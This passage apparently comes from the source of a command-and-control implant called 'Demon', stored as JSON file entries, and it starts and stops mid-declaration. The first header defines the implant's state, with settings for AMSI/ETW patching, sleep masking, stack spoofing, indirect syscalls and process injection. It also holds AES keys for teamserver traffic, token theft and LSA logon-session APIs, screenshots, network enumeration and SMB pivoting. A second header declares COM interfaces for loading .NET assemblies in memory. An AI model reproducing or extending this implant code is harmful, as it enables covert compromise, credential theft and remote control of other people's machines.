Uris;      /* TODO: change type to BUFFER */\n            LPWSTR*    Headers;   /* TODO: change type to BUFFER */\n\n            struct {\n                BOOL   Enabled;\n                LPWSTR Url;      /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */\n                LPWSTR Username; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */\n                LPWSTR Password; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */\n            } Proxy;\n#endif\n\n#ifdef TRANSPORT_SMB\n            LPSTR   Name;   /* TODO: change type to BUFFER */\n            HANDLE  Handle;\n#endif\n        } Transport;\n\n        struct _CONFIG {\n            ULONG SleepMaskTechnique;\n            ULONG SleepJmpBypass;\n            BOOL  StackSpoof;\n            BOOL  SysIndirect;\n            BYTE  ProxyLoading;\n            BYTE  AmsiEtwPatch;\n            BOOL  Verbose;\n            PVOID ThreadStartAddr;\n            BOOL  CoffeeThreaded;\n            BOOL  CoffeeVeh;\n            ULONG DownloadChunkSize;\n        } Implant;\n\n        struct {\n            UINT32 Alloc;\n            UINT32 Execute;\n        } Memory;\n\n        // Process Config\n        struct\n        {\n            PWCHAR Spawn64; /* TODO: change type to BUFFER */\n            PWCHAR Spawn86; /* TODO: change type to BUFFER */\n        } Process;\n\n        struct\n        {\n            DWORD Technique;\n            PVOID SpoofAddr;\n        } Inject;\n\n        /* communication AES keys */\n        struct {\n            PBYTE Key;\n            PBYTE IV;\n        } AES;\n\n    } Config ;\n\n    // TODO: format everything by library. include syscalls too\n    struct\n    {\n        /* Ntdll.dll */\n        WIN_FUNC( LdrLoadDll )\n        WIN_FUNC( LdrGetProcedureAddress )\n\n        WIN_FUNC( RtlAllocateHeap )\n        WIN_FUNC( RtlReAllocateHeap )\n        WIN_FUNC( RtlFreeHeap )\n        WIN_FUNC( RtlRandomEx )\n        WIN_FUNC( RtlNtStatusToDosError )\n        WIN_FUNC( RtlGetVersion )\n        WIN_FUNC( RtlExitUserThread )\n        WIN_FUNC( RtlExitUserProcess )\n        WIN_FUNC( RtlCreateTimer )\n        WIN_FUNC( RtlRegisterWait )\n        WIN_FUNC( RtlQueueWorkItem )\n        WIN_FUNC( RtlCreateTimerQueue )\n        WIN_FUNC( RtlDeleteTimerQueue )\n        WIN_FUNC( RtlCaptureContext );\n        WIN_FUNC( RtlAddVectoredExceptionHandler );\n        WIN_FUNC( RtlRemoveVectoredExceptionHandler );\n        WIN_FUNC( RtlCopyMappedMemory );\n\n        WIN_FUNC( NtClose );\n        WIN_FUNC( NtSetEvent );\n        WIN_FUNC( NtSetInformationThread );\n        WIN_FUNC( NtSetInformationVirtualMemory );\n        WIN_FUNC( NtGetNextThread );\n        WIN_FUNC( NtOpenThread )\n        WIN_FUNC( NtOpenThreadToken )\n        WIN_FUNC( NtTerminateProcess )\n        WIN_FUNC( NtOpenProcess )\n        WIN_FUNC( NtOpenProcessToken )\n        WIN_FUNC( NtDuplicateToken )\n        WIN_FUNC( NtQueueApcThread )\n        WIN_FUNC( NtSuspendThread )\n        WIN_FUNC( NtResumeThread )\n        WIN_FUNC( NtCreateEvent )\n        WIN_FUNC( NtCreateThreadEx )\n        WIN_FUNC( NtDuplicateObject )\n        WIN_FUNC( NtGetContextThread )\n        WIN_FUNC( NtSetContextThread )\n        WIN_FUNC( NtQueryInformationProcess )\n        WIN_FUNC( NtQuerySystemInformation )\n        WIN_FUNC( NtWaitForSingleObject )\n        WIN_FUNC( NtTestAlert )\n        WIN_FUNC( NtAllocateVirtualMemory )\n        WIN_FUNC( NtWriteVirtualMemory )\n        WIN_FUNC( NtReadVirtualMemory )\n        WIN_FUNC( NtFreeVirtualMemory )\n        WIN_FUNC( NtUnmapViewOfSection )\n        WIN_FUNC( NtProtectVirtualMemory )\n        WIN_FUNC( NtTerminateThread )\n        WIN_FUNC( NtContinue )\n        WIN_FUNC( NtAlertResumeThread )\n        WIN_FUNC( NtSignalAndWaitForSingleObject )\n        WIN_FUNC( NtQueryVirtualMemory )\n        WIN_FUNC( NtQueryInformationToken )\n        WIN_FUNC( NtQueryInformationThread )\n        WIN_FUNC( NtQueryObject )\n        PVOID NtTraceEvent;\n\n        // Kernel32\n        WIN_FUNC( LoadLibraryW )\n        WIN_FUNC( CreateRemoteThread )\n        WIN_FUNC( CreateToolhelp32Snapshot )\n        WIN_FUNC( Process32FirstW )\n        WIN_FUNC( Process32NextW )\n        WIN_FUNC( VirtualAllocEx )\n        WIN_FUNC( VirtualProtect )\n        WIN_FUNC( CreateFileW )\n        WIN_FUNC( GetFullPathNameW )\n        WIN_FUNC( GetFileSize )\n        WIN_FUNC( GetFileSizeEx )\n        WIN_FUNC( CreateNamedPipeW )\n        WIN_FUNC( WaitNamedPipeW )\n        WIN_FUNC( PeekNamedPipe )\n        WIN_FUNC( DisconnectNamedPipe )\n        WIN_FUNC( WriteFile )\n        WIN_FUNC( ConnectNamedPipe )\n        WIN_FUNC( FreeLibrary )\n        WIN_FUNC( GetProcAddress )\n        WIN_FUNC( CreatePipe )\n        WIN_FUNC( ReadFile )\n        WIN_FUNC( GetComputerNameExA )\n        WIN_FUNC( LocalAlloc )      /* TODO: replace with RtlAllocateHeap */\n        WIN_FUNC( LocalFree )       /* TODO: replace with RtlFreeHeap */\n        WIN_FUNC( LocalReAlloc )    /* TODO: replace with RtlReAllocateHeap */\n        WIN_FUNC( CreateProcessW )\n        WIN_FUNC( GetExitCodeProcess )\n        WIN_FUNC( GetExitCodeThread )\n        WIN_FUNC( TerminateProcess )\n        WIN_FUNC( VirtualProtectEx )\n        WIN_FUNC( GetCurrentDirectoryW )\n        WIN_FUNC( FindFirstFileW )\n        WIN_FUNC( FindNextFileW )\n        WIN_FUNC( DeleteFileW )\n        WIN_FUNC( RemoveDirectoryW )\n        WIN_FUNC( CreateDirectoryW )\n        WIN_FUNC( MoveFileW )\n        WIN_FUNC( GetFileTime )\n        WIN_FUNC( GetFileAttributesW )\n        WIN_FUNC( FindClose )\n        WIN_FUNC( FileTimeToSystemTime )\n        WIN_FUNC( SystemTimeToTzSpecificLocalTime )\n        WIN_FUNC( SetCurrentDirectoryW )\n        WIN_FUNC( Wow64DisableWow64FsRedirection )\n        WIN_FUNC( Wow64RevertWow64FsRedirection )\n        WIN_FUNC( CopyFileW )\n        WIN_FUNC( MoveFileExW )\n        WIN_FUNC( GetModuleHandleA )\n        WIN_FUNC( GetSystemTimeAsFileTime )\n        WIN_FUNC( GetLocalTime )\n        WIN_FUNC( DuplicateHandle )\n        WIN_FUNC( AttachConsole )\n        WIN_FUNC( WriteConsoleA )\n        HGLOBAL ( *GlobalFree ) ( HGLOBAL );\n\n        /* WinHttp.dll */\n        WIN_FUNC( WinHttpOpen )\n        WIN_FUNC( WinHttpConnect )\n        WIN_FUNC( WinHttpOpenRequest )\n        WIN_FUNC( WinHttpSetOption )\n        WIN_FUNC( WinHttpCloseHandle )\n        WIN_FUNC( WinHttpSendRequest )\n        WIN_FUNC( WinHttpAddRequestHeaders )\n        WIN_FUNC( WinHttpReceiveResponse )\n        WIN_FUNC( WinHttpReadData )\n        WIN_FUNC( WinHttpQueryHeaders )\n        WIN_FUNC( WinHttpGetIEProxyConfigForCurrentUser )\n        WIN_FUNC( WinHttpGetProxyForUrl )\n\n        // Mscoree\n        HRESULT ( WINAPI *CLRCreateInstance ) ( REFCLSID clsid, REFIID riid, LPVOID* ppInterface );\n\n        // Oleaut32\n        WIN_FUNC( SafeArrayAccessData )\n        WIN_FUNC( SafeArrayUnaccessData )\n        WIN_FUNC( SafeArrayCreate )\n        WIN_FUNC( SafeArrayCreateVector )\n        WIN_FUNC( SafeArrayPutElement )\n        WIN_FUNC( SafeArrayDestroy )\n        WIN_FUNC( SysAllocString )\n\n        // Advapi32\n        WIN_FUNC( GetTokenInformation )\n        WIN_FUNC( GetUserNameA )\n        WIN_FUNC( CreateProcessWithTokenW )\n        WIN_FUNC( CreateProcessWithLogonW )\n        NTSTATUS ( WINAPI* SystemFunction032 ) ( struct ustring* data, struct ustring* key );\n        WIN_FUNC( FreeSid )\n        WIN_FUNC( SetSecurityDescriptorSacl )\n        WIN_FUNC( SetSecurityDescriptorDacl )\n        WIN_FUNC( InitializeSecurityDescriptor )\n        WIN_FUNC( AddMandatoryAce )\n        WIN_FUNC( InitializeAcl )\n        WIN_FUNC( AllocateAndInitializeSid )\n        WIN_FUNC( CheckTokenMembership )\n        WIN_FUNC( SetEntriesInAclW )\n        WIN_FUNC( LsaNtStatusToWinError )\n        WIN_FUNC( EqualSid )\n        WIN_FUNC( ConvertSidToStringSidW )\n        WIN_FUNC( GetSidSubAuthorityCount )\n        WIN_FUNC( GetSidSubAuthority)\n\n        WIN_FUNC( ConvertThreadToFiberEx )\n        WIN_FUNC( ConvertFiberToThread )\n        WIN_FUNC( SwitchToFiber )\n        WIN_FUNC( CreateFiberEx )\n        WIN_FUNC( DeleteFiber )\n\n        // Token Management\n        WIN_FUNC( RevertToSelf )\n        WIN_FUNC( LookupAccountSidA )\n        WIN_FUNC( LookupAccountSidW )\n        WIN_FUNC( LookupPrivilegeNameA )\n        WIN_FUNC( LogonUserW )\n        WIN_FUNC( AdjustTokenPrivileges )\n        WIN_FUNC( OpenProcessToken )\n        WIN_FUNC( OpenThreadToken )\n        WIN_FUNC( LookupPrivilegeValueA )\n        WIN_FUNC( SetThreadToken )\n\n        // String Formatting\n        INT ( *vsnprintf ) ( PCHAR, SIZE_T, CONST PCHAR, va_list );\n        INT ( *swprintf_s ) ( PWCHAR, SIZE_T, CONST PWCHAR, ... );\n\n        // * MISC *\n        WIN_FUNC( CommandLineToArgvW )\n\n        WIN_FUNC( AllocConsole )\n        WIN_FUNC( FreeConsole )\n        WIN_FUNC( GetConsoleWindow )\n        WIN_FUNC( ShowWindow )\n        WIN_FUNC( GetStdHandle )\n        WIN_FUNC( SetStdHandle )\n\n        WIN_FUNC( GetAdaptersInfo )\n\n        WIN_FUNC( WaitForSingleObjectEx )\n\n\n        // Screenshot\n        WIN_FUNC( GetSystemMetrics )\n        WIN_FUNC( GetDC )\n        WIN_FUNC( GetCurrentObject )\n        WIN_FUNC( GetObjectW )\n        WIN_FUNC( CreateCompatibleDC )\n        WIN_FUNC( CreateDIBSection )\n        WIN_FUNC( SelectObject )\n        WIN_FUNC( BitBlt )\n        WIN_FUNC( DeleteObject )\n        WIN_FUNC( DeleteDC )\n        WIN_FUNC( ReleaseDC )\n\n        // Netapi\n        WIN_FUNC( NetWkstaUserEnum )\n        WIN_FUNC( NetSessionEnum )\n        WIN_FUNC( NetLocalGroupEnum )\n        WIN_FUNC( NetGroupEnum )\n        WIN_FUNC( NetUserEnum )\n        WIN_FUNC( NetShareEnum )\n        WIN_FUNC( NetApiBufferFree )\n\n        /* Ws2_32.dll */\n        WIN_FUNC( WSAStartup )\n        WIN_FUNC( WSACleanup )\n        WIN_FUNC( WSASocketA )\n        WIN_FUNC( WSAGetLastError )\n        WIN_FUNC( ioctlsocket )\n        WIN_FUNC( bind )\n        WIN_FUNC( listen )\n        WIN_FUNC( accept )\n        WIN_FUNC( closesocket )\n        WIN_FUNC( recv )\n        WIN_FUNC( send )\n        WIN_FUNC( connect )\n        WIN_FUNC( getaddrinfo )\n        WIN_FUNC( freeaddrinfo )\n\n        /* sspicli.dll */\n        WIN_FUNC( LsaCallAuthenticationPackage )\n        WIN_FUNC( LsaGetLogonSessionData )\n        WIN_FUNC( LsaEnumerateLogonSessions )\n        WIN_FUNC( LsaRegisterLogonProcess )\n        WIN_FUNC( LsaLookupAuthenticationPackage )\n        WIN_FUNC( LsaDeregisterLogonProcess )\n        WIN_FUNC( LsaConnectUntrusted )\n        WIN_FUNC( LsaFreeReturnBuffer )\n\n        /* Amsi.dll */\n        PVOID AmsiScanBuffer;\n\n    } Win32;\n\n    struct\n    {\n#undef OBF_SYSCALL\n#ifdef OBF_SYSCALL\n        WIN_FUNC( NtOpenFile )\n        WIN_FUNC( NtOpenThread )\n        WIN_FUNC( NtOpenThreadToken )\n        WIN_FUNC( NtTerminateProcess )\n        WIN_FUNC( NtOpenProcess )\n        WIN_FUNC( NtOpenProcessToken )\n        WIN_FUNC( NtCreateSection )\n        WIN_FUNC( NtMapViewOfSection )\n        WIN_FUNC( NtDuplicateToken )\n        WIN_FUNC( NtQueueApcThread )\n        WIN_FUNC( NtSuspendThread )\n        WIN_FUNC( NtResumeThread )\n        WIN_FUNC( NtCreateEvent )\n        WIN_FUNC( NtCreateThreadEx )\n        WIN_FUNC( NtDuplicateObject )\n        WIN_FUNC( NtGetContextThread )\n        WIN_FUNC( NtSetContextThread )\n        WIN_FUNC( NtQueryInformationProcess )\n        WIN_FUNC( NtQuerySystemInformation )\n        WIN_FUNC( NtWaitForSingleObject )\n        WIN_FUNC( NtTestAlert )\n        WIN_FUNC( NtAllocateVirtualMemory )\n        WIN_FUNC( NtWriteVirtualMemory )\n        WIN_FUNC( NtReadVirtualMemory )\n        WIN_FUNC( NtFreeVirtualMemory )\n        WIN_FUNC( NtUnmapViewOfSection )\n        WIN_FUNC( NtProtectVirtualMemory )\n        WIN_FUNC( NtTerminateThread )\n        WIN_FUNC( NtContinue )\n        WIN_FUNC( NtAlertResumeThread )\n        WIN_FUNC( NtSignalAndWaitForSingleObject )\n        WIN_FUNC( NtQueryVirtualMemory )\n        WIN_FUNC( NtQueryInformationToken )\n        WIN_FUNC( NtQueryInformationThread )\n        WIN_FUNC( NtQueryObject )\n#else\n        PVOID  SysAddress; /* 'syscall' instruction pointer */\n        UINT32 Size; /* size of each 'syscall' stub */\n\n        /* Syscall Service Numbers */\n        WORD NtOpenThread;\n        WORD NtOpenThreadToken;\n        WORD NtTerminateProcess;\n        WORD NtOpenProcess;\n        WORD NtOpenProcessToken;\n        WORD NtDuplicateToken;\n        WORD NtQueueApcThread;\n        WORD NtSuspendThread;\n        WORD NtResumeThread;\n        WORD NtCreateEvent;\n        WORD NtCreateThreadEx;\n        WORD NtDuplicateObject;\n        WORD NtGetContextThread;\n        WORD NtSetContextThread;\n        WORD NtQueryInformationProcess;\n        WORD NtQuerySystemInformation;\n        WORD NtWaitForSingleObject;\n        WORD NtAllocateVirtualMemory;\n        WORD NtWriteVirtualMemory;\n        WORD NtReadVirtualMemory;\n        WORD NtFreeVirtualMemory;\n        WORD NtUnmapViewOfSection;\n        WORD NtProtectVirtualMemory;\n        WORD NtTerminateThread;\n        WORD NtAlertResumeThread;\n        WORD NtSignalAndWaitForSingleObject;\n        WORD NtQueryVirtualMemory;\n        WORD NtQueryInformationToken;\n        WORD NtQueryInformationThread;\n        WORD NtQueryObject;\n        WORD NtClose;\n        WORD NtSetEvent;\n        WORD NtSetInformationThread;\n        WORD NtSetInformationVirtualMemory;\n        WORD NtGetNextThread;\n#endif\n    } Syscall;\n\n    struct\n    {\n        PVOID Ntdll;\n        PVOID Kernel32;\n        PVOID Advapi32;\n        PVOID Mscoree;\n        PVOID Oleaut32;\n        PVOID User32;\n        PVOID Shell32;\n        PVOID Msvcrt;\n        PVOID Iphlpapi;\n        PVOID Gdi32;\n        PVOID NetApi32;\n        PVOID Ws2_32;\n        PVOID Sspicli;\n\n        /* used for bypass */\n        PVOID Amsi;\n\n#ifdef TRANSPORT_HTTP\n        PVOID WinHttp;\n#endif\n    } Modules;\n\n    /* The main thread environment block */\n    PTEB  Teb;\n\n    /* Thread counter. how many threads that are using our code are running ? */\n    DWORD  Threads;\n\n    /* A list of packages that have to be sent to the teamserver */\n    PPACKAGE Packages;\n\n    /* Buffer to use for allocating download chunks. */\n    BUFFER DownloadChunk;\n\n    /* This is a global variable for dotnet inline-execute\n     * holds our CLR instance, assembly and where to output. */\n    PDOTNET_ARGS Dotnet;\n\n    /* Linked lists */\n    struct {\n        PTOKEN_LIST_DATA Vault;\n\n        /* Impersonate token. */\n        PTOKEN_LIST_DATA Token;\n        BOOL             Impersonate;\n    } Tokens;\n    PPIVOT_DATA          SmbPivots;\n    PJOB_DATA            Jobs;\n    PDOWNLOAD_DATA       Downloads;\n    PMEM_FILE            MemFiles;\n    PSOCKET_DATA         Sockets;\n    PCOFFEE              Coffees;\n    PCOFFEE_KEY_VALUE    CoffeKeyValueStore;\n    PHWBP_ENGINE         HwBpEngine;\n\n} INSTANCE, *PINSTANCE;\n\nextern PINSTANCE Instance;\n\nVOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs );\nVOID DemonRoutine( );\nVOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs );\nVOID DemonMetaData( PPACKAGE* Package, BOOL Header );\nVOID DemonConfig();\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/common/Clr.h",
    "content": "#ifndef DEMON_CLR_H\n#define DEMON_CLR_H\n\n#include <windows.h>\n\n#include <core/Win32.h>\n\nextern GUID xCLSID_CLRMetaHost;\nextern GUID xIID_ICLRMetaHost;\nextern GUID xIID_ICLRRuntimeInfo;\nextern GUID xCLSID_CorRuntimeHost;\nextern GUID xIID_ICorRuntimeHost;\nextern GUID xIID_AppDomain;\n\ntypedef struct _ICLRMetaHost    ICLRMetaHost;\ntypedef struct _ICLRRuntimeInfo ICLRRuntimeInfo;\ntypedef struct _AppDomain       IAppDomain;\ntypedef struct _Assembly        IAssembly;\ntypedef struct _Type            IType;\ntypedef struct _Binder          IBinder;\ntypedef struct _MethodInfo      IMethodInfo;\n\ntypedef ICLRMetaHost    *PICLRMetaHost;\ntypedef ICLRRuntimeInfo *PICLRRuntimeInfo;\ntypedef IAssembly       *PIAssembly;\ntypedef IEnumUnknown    *PIEnumUnknown;\ntypedef IUnknown        *PIUnknown;\ntypedef ICorRuntimeHost *PICorRuntimeHost;\n\ntypedef void* HDOMAINENUM;\n\ntypedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)(\n        REFCLSID clsid,\n        REFIID riid,\n        LPVOID* ppInterface);\n\ntypedef HRESULT(__stdcall* CreateInterfaceFnPtr)(\n        REFCLSID clsid,\n        REFIID riid,\n        LPVOID* ppInterface);\n\n\ntypedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void);\n\ntypedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void);\n\ntypedef void(__stdcall* RuntimeLoadedCallbackFnPtr)(\n        ICLRRuntimeInfo* pRuntimeInfo,\n        CallbackThreadSetFnPtr pfnCallbackThreadSet,\n        CallbackThreadUnsetFnPtr pfnCallbackThreadUnset);\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This)\n\ntypedef struct _BinderVtbl {\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IBinder* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */ void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            IBinder* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            IBinder* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(BindToMethod);\n    DUMMY_METHOD(BindToField);\n    DUMMY_METHOD(SelectMethod);\n    DUMMY_METHOD(SelectProperty);\n    DUMMY_METHOD(ChangeType);\n    DUMMY_METHOD(ReorderArgumentArray);\n} BinderVtbl;\n\ntypedef struct _Binder {\n    BinderVtbl* lpVtbl;\n} Binder;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This)\n\ntypedef struct _AppDomainVtbl {\n    BEGIN_INTERFACE\n\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IAppDomain* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */ void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            IAppDomain* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            IAppDomain* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(InitializeLifetimeService);\n    DUMMY_METHOD(GetLifetimeService);\n    DUMMY_METHOD(Evidence);\n    DUMMY_METHOD(add_DomainUnload);\n    DUMMY_METHOD(remove_DomainUnload);\n    DUMMY_METHOD(add_AssemblyLoad);\n    DUMMY_METHOD(remove_AssemblyLoad);\n    DUMMY_METHOD(add_ProcessExit);\n    DUMMY_METHOD(remove_ProcessExit);\n    DUMMY_METHOD(add_TypeResolve);\n    DUMMY_METHOD(remove_TypeResolve);\n    DUMMY_METHOD(add_ResourceResolve);\n    DUMMY_METHOD(remove_ResourceResolve);\n    DUMMY_METHOD(add_AssemblyResolve);\n    DUMMY_METHOD(remove_AssemblyResolve);\n    DUMMY_METHOD(add_UnhandledException);\n    DUMMY_METHOD(remove_UnhandledException);\n    DUMMY_METHOD(DefineDynamicAssembly);\n    DUMMY_METHOD(DefineDynamicAssembly_2);\n    DUMMY_METHOD(DefineDynamicAssembly_3);\n    DUMMY_METHOD(DefineDynamicAssembly_4);\n    DUMMY_METHOD(DefineDynamicAssembly_5);\n    DUMMY_METHOD(DefineDynamicAssembly_6);\n    DUMMY_METHOD(DefineDynamicAssembly_7);\n    DUMMY_METHOD(DefineDynamicAssembly_8);\n    DUMMY_METHOD(DefineDynamicAssembly_9);\n    DUMMY_METHOD(CreateInstance);\n    DUMMY_METHOD(CreateInstanceFrom);\n    DUMMY_METHOD(CreateInstance_2);\n    DUMMY_METHOD(CreateInstanceFrom_2);\n    DUMMY_METHOD(CreateInstance_3);\n    DUMMY_METHOD(CreateInstanceFrom_3);\n    DUMMY_METHOD(Load);\n    DUMMY_METHOD(Load_2);\n\n    HRESULT(STDMETHODCALLTYPE* Load_3)(\n            IAppDomain* This,\n            SAFEARRAY* rawAssembly,\n            IAssembly** pRetVal);\n\n    DUMMY_METHOD(Load_4);\n    DUMMY_METHOD(Load_5);\n    DUMMY_METHOD(Load_6);\n    DUMMY_METHOD(Load_7);\n    DUMMY_METHOD(ExecuteAssembly);\n    DUMMY_METHOD(ExecuteAssembly_2);\n    DUMMY_METHOD(ExecuteAssembly_3);\n    DUMMY_METHOD(FriendlyName);\n    DUMMY_METHOD(BaseDirectory);\n    DUMMY_METHOD(RelativeSearchPath);\n    DUMMY_METHOD(ShadowCopyFiles);\n    DUMMY_METHOD(GetAssemblies);\n    DUMMY_METHOD(AppendPrivatePath);\n    DUMMY_METHOD(ClearPrivatePath);\n    DUMMY_METHOD(SetShadowCopyPath);\n    DUMMY_METHOD(ClearShadowCopyPath);\n    DUMMY_METHOD(SetCachePath);\n    DUMMY_METHOD(SetData);\n    DUMMY_METHOD(GetData);\n    DUMMY_METHOD(SetAppDomainPolicy);\n    DUMMY_METHOD(SetThreadPrincipal);\n    DUMMY_METHOD(SetPrincipalPolicy);\n    DUMMY_METHOD(DoCallBack);\n    DUMMY_METHOD(DynamicDirectory);\n\n    END_INTERFACE\n} AppDomainVtbl;\n\ntypedef struct _AppDomain {\n    AppDomainVtbl* lpVtbl;\n} AppDomain, *PAppDomain;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This)\n\ntypedef struct _AssemblyVtbl {\n    BEGIN_INTERFACE\n\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IAssembly* This,\n            REFIID riid,\n            void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            IAssembly* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            IAssembly* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n\n    DUMMY_METHOD(Invoke);\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(CodeBase);\n    DUMMY_METHOD(EscapedCodeBase);\n    DUMMY_METHOD(GetName);\n    DUMMY_METHOD(GetName_2);\n    DUMMY_METHOD(FullName);\n\n    HRESULT(STDMETHODCALLTYPE* EntryPoint)(\n            IAssembly* This,\n            IMethodInfo** pRetVal);\n\n    HRESULT(STDMETHODCALLTYPE* GetType_2)(\n            IAssembly* This,\n            BSTR        name,\n            IType** pRetVal);\n\n    DUMMY_METHOD(GetType_3);\n    DUMMY_METHOD(GetExportedTypes);\n    DUMMY_METHOD(GetTypes);\n    DUMMY_METHOD(GetManifestResourceStream);\n    DUMMY_METHOD(GetManifestResourceStream_2);\n    DUMMY_METHOD(GetFile);\n    DUMMY_METHOD(GetFiles);\n    DUMMY_METHOD(GetFiles_2);\n    DUMMY_METHOD(GetManifestResourceNames);\n    DUMMY_METHOD(GetManifestResourceInfo);\n    DUMMY_METHOD(Location);\n    DUMMY_METHOD(Evidence);\n    DUMMY_METHOD(GetCustomAttributes);\n    DUMMY_METHOD(GetCustomAttributes_2);\n    DUMMY_METHOD(IsDefined);\n    DUMMY_METHOD(GetObjectData);\n    DUMMY_METHOD(add_ModuleResolve);\n    DUMMY_METHOD(remove_ModuleResolve);\n    DUMMY_METHOD(GetType_4);\n    DUMMY_METHOD(GetSatelliteAssembly);\n    DUMMY_METHOD(GetSatelliteAssembly_2);\n    DUMMY_METHOD(LoadModule);\n    DUMMY_METHOD(LoadModule_2);\n    DUMMY_METHOD(CreateInstance);\n    DUMMY_METHOD(CreateInstance_2);\n    DUMMY_METHOD(CreateInstance_3);\n    DUMMY_METHOD(GetLoadedModules);\n    DUMMY_METHOD(GetLoadedModules_2);\n    DUMMY_METHOD(GetModules);\n    DUMMY_METHOD(GetModules_2);\n    DUMMY_METHOD(GetModule);\n    DUMMY_METHOD(GetReferencedAssemblies);\n    DUMMY_METHOD(GlobalAssemblyCache);\n\n    END_INTERFACE\n} AssemblyVtbl;\n\ntypedef enum _BindingFlags {\n    BindingFlags_Default = 0,\n    BindingFlags_IgnoreCase = 1,\n    BindingFlags_DeclaredOnly = 2,\n    BindingFlags_Instance = 4,\n    BindingFlags_Static = 8,\n    BindingFlags_Public = 16,\n    BindingFlags_NonPublic = 32,\n    BindingFlags_FlattenHierarchy = 64,\n    BindingFlags_InvokeMethod = 256,\n    BindingFlags_CreateInstance = 512,\n    BindingFlags_GetField = 1024,\n    BindingFlags_SetField = 2048,\n    BindingFlags_GetProperty = 4096,\n    BindingFlags_SetProperty = 8192,\n    BindingFlags_PutDispProperty = 16384,\n    BindingFlags_PutRefDispProperty = 32768,\n    BindingFlags_ExactBinding = 65536,\n    BindingFlags_SuppressChangeType = 131072,\n    BindingFlags_OptionalParamBinding = 262144,\n    BindingFlags_IgnoreReturn = 16777216\n} BindingFlags;\n\ntypedef struct _Assembly {\n    AssemblyVtbl* lpVtbl;\n} Assembly, *PAssembly;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This)\n\ntypedef struct _TypeVtbl {\n    BEGIN_INTERFACE\n\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IType* This,\n            REFIID riid,\n            void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            IType* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            IType* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(MemberType);\n    DUMMY_METHOD(name);\n    DUMMY_METHOD(DeclaringType);\n    DUMMY_METHOD(ReflectedType);\n    DUMMY_METHOD(GetCustomAttributes);\n    DUMMY_METHOD(GetCustomAttributes_2);\n    DUMMY_METHOD(IsDefined);\n    DUMMY_METHOD(Guid);\n    DUMMY_METHOD(Module);\n    DUMMY_METHOD(Assembly);\n    DUMMY_METHOD(TypeHandle);\n    DUMMY_METHOD(FullName);\n    DUMMY_METHOD(Namespace);\n    DUMMY_METHOD(AssemblyQualifiedName);\n    DUMMY_METHOD(GetArrayRank);\n    DUMMY_METHOD(BaseType);\n    DUMMY_METHOD(GetConstructors);\n    DUMMY_METHOD(GetInterface);\n    DUMMY_METHOD(GetInterfaces);\n    DUMMY_METHOD(FindInterfaces);\n    DUMMY_METHOD(GetEvent);\n    DUMMY_METHOD(GetEvents);\n    DUMMY_METHOD(GetEvents_2);\n    DUMMY_METHOD(GetNestedTypes);\n    DUMMY_METHOD(GetNestedType);\n    DUMMY_METHOD(GetMember);\n    DUMMY_METHOD(GetDefaultMembers);\n    DUMMY_METHOD(FindMembers);\n    DUMMY_METHOD(GetElementType);\n    DUMMY_METHOD(IsSubclassOf);\n    DUMMY_METHOD(IsInstanceOfType);\n    DUMMY_METHOD(IsAssignableFrom);\n    DUMMY_METHOD(GetInterfaceMap);\n    DUMMY_METHOD(GetMethod);\n    DUMMY_METHOD(GetMethod_2);\n    DUMMY_METHOD(GetMethods);\n    DUMMY_METHOD(GetField);\n    DUMMY_METHOD(GetFields);\n    DUMMY_METHOD(GetProperty);\n    DUMMY_METHOD(GetProperty_2);\n    